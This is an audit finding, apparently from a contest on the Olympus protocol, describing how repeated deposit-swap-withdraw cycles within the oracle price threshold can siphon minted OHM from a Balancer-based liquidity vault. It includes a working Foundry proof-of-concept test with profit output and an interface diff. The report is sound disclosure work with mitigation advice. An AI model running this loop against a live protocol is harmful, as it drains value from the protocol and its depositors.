immeas

medium

# Trading within threshold can siphon out minted ohm

## Summary
A user can make a large deposit at current price. Make a small trade to move the price just enough then withdraw and take out a bit of the `OHM` value minted for the pool.

## Vulnerability Detail

The protocol provides liquidity with minted OHM and a pair token, `wstETH` in the current case. On deposit the vault mints as much `OHM` as the price suggest for the liquidity pool then deposits this. It also stakes the lp tokens with Aura but that is besides the point for this issue.

Once in the pool they are available for trading. If the price of the pool moves too much compared to chainlink oracles `deposit` and `withdraw` are disallowed. 

There is a possibility though to siphon some `OHM` value out. If a user does a large deposit into the pool, the olympus will match with `OHM`. Then the user does a just large enough trade to increase the `wstETH` in the pool and then withdraws. Since the composition of the pool has changed just slightly the withdrawn value will contain a little bit more `wstETH`.

Combined with the trade `wstETH -> OHM` this will siphon some value out of the protocol provided `OHM`.

As long as the price of `OHM` is high enough that the `OHM` siphoned out is worth more than the `wstETH` that is traded this attack can go on.


PoC test in `WstethLiquidityVaultFork.t.sol`
```solidity
    function testDepositSwapWithdraw() public {
        FundManagement memory fund = FundManagement({
            sender: bob,
            fromInternalBalance: false,
            recipient: payable(bob),
            toInternalBalance: false
        });

        // some initial liquidity
        vm.prank(alice);
        liquidityVault.deposit(2e18, 0);

        vm.startPrank(bob);
        ohm.approve(address(vault),type(uint256).max);
        wsteth.approve(address(vault),type(uint256).max);
        wsteth.approve(address(liquidityVault),type(uint256).max);
        vm.stopPrank();

        uint256 bobBefore = wsteth.balanceOf(bob);
        
        uint256 swapAmt = 3e9;
        vm.startPrank(bob);
        // iterate this attack while keeping the pool price within THRESHOLD
        for(uint256 i = 1 ; i<=25; i++) {
            // deposit at current price
            liquidityVault.deposit(3e18, 0);
            
            // do a swap to increase amount of wsteth in pool
            SingleSwap memory swapToOhm = SingleSwap({
                poolId: liquidityPool.getPoolId(),    
                kind: SwapKind.GIVEN_OUT,
                assetIn: address(wsteth),
                assetOut: address(ohm),
                amount: swapAmt, // this can be optimized and calculated to be just within THRESHOLD for MEV
                userData : ""
            });
            vault.swap(swapToOhm, fund, 1e18, block.timestamp + 10);

            // withdraw slightly more wsteth
            liquidityVault.withdraw(liquidityVault.lpPositions(bob),minTokenAmounts_,false);

            // swap back some ohm to wsteth to recover some wstweth to use for next round and also reset the pool price a bit
            SingleSwap memory swapBack = SingleSwap({
                poolId: liquidityPool.getPoolId(),    
                kind: SwapKind.GIVEN_IN,
                assetIn: address(ohm),
                assetOut: address(wsteth),
                amount: 2*swapAmt/7, // this can be optimized and calculated to be just within THRESHOLD for MEV
                userData : ""
            });
            vault.swap(swapBack, fund, 1000, block.timestamp + 10);
        }
        vm.stopPrank();

        uint256 bobAfter = wsteth.balanceOf(bob);
        // bob ohm balance ~53 ohm ~ $530
        console2.log("ohm.balanceOf(bob)",ohm.balanceOf(bob));
        // at a cost of 0.008 wsteth ~ $13
        console2.log("wsth diff bob",bobBefore - bobAfter);
        // total profit in this block $500 without gas fees and possible flash loan fees, this can be optimized for MEV as well
    }
```
Gives output
```bash
$ forge test -vvv --match-test=testDepositSwapWithdraw
[â †] Compiling...
No files changed, compilation skipped

Running 1 test for src/test/policies/lending/WstethLiquidityVaultFork.t.sol:WstethLiquidityVaultTest
[PASS] testDepositSwapWithdraw() (gas: 15505616)
Logs:
  ohm.balanceOf(bob) 53571428575
  wsth diff bob 7951134438651113

Test result: ok. 1 passed; 0 failed; finished in 21.78s

```

with these changes to `/src/policies/lending/interfaces/IBalancer.sol` from [`IVault.sol`](https://github.com/balancer-labs/balancer-v2-monorepo/blob/master/pkg/interfaces/contracts/vault/IVault.sol):

```diff
diff --git a/src/policies/lending/interfaces/IBalancer.sol b/src/policies/lending/interfaces/IBalancer.sol
index 3a8b463..916bc78 100644
--- a/src/policies/lending/interfaces/IBalancer.sol
+++ b/src/policies/lending/interfaces/IBalancer.sol
@@ -18,6 +18,23 @@ struct ExitPoolRequest {
     bytes userData;
     bool toInternalBalance;
 }
+enum SwapKind { GIVEN_IN, GIVEN_OUT }
+
+struct SingleSwap {
+    bytes32 poolId;
+    SwapKind kind;
+    address assetIn;
+    address assetOut;
+    uint256 amount;
+    bytes userData;
+}
+
+struct FundManagement {
+    address sender;
+    bool fromInternalBalance;
+    address payable recipient;
+    bool toInternalBalance;
+}
 
 // Define Vault Interface
 interface IVault {
@@ -43,6 +60,13 @@ interface IVault {
             uint256[] memory,
             uint256
         );
+
+    function swap(
+        SingleSwap memory singleSwap,
+        FundManagement memory funds,
+        uint256 limit,
+        uint256 deadline
+    ) external payable returns (uint256);
 }
 
 // Define Balancer Base Pool Interfaces

```

## Impact
A user can siphon out `OHM` through doing deposits at one price, then trade and withdraw at another price for a small profit.

I did not find a way to make lots of money with this attack. It is heavily reliant on gas price, liquidity in the pool and the current `THRESHOLD`. If these align though it is possible to make a bit of money each block. Hence submitting this as medium.

## Code Snippet
Hard to point to a specific code snippet. This is rather about the general design and economics.
https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L411-L421

## Tool used
Manual Review, foundry

## Recommendation
Since this is the core of the protocol I don't see an obvious way of mitigating this. I recommend the protocol keeps a close eye on behavior like this. If this happens reducing the `THRESHOLD` a bit or simply staking more to increase liquidity might be a good solution.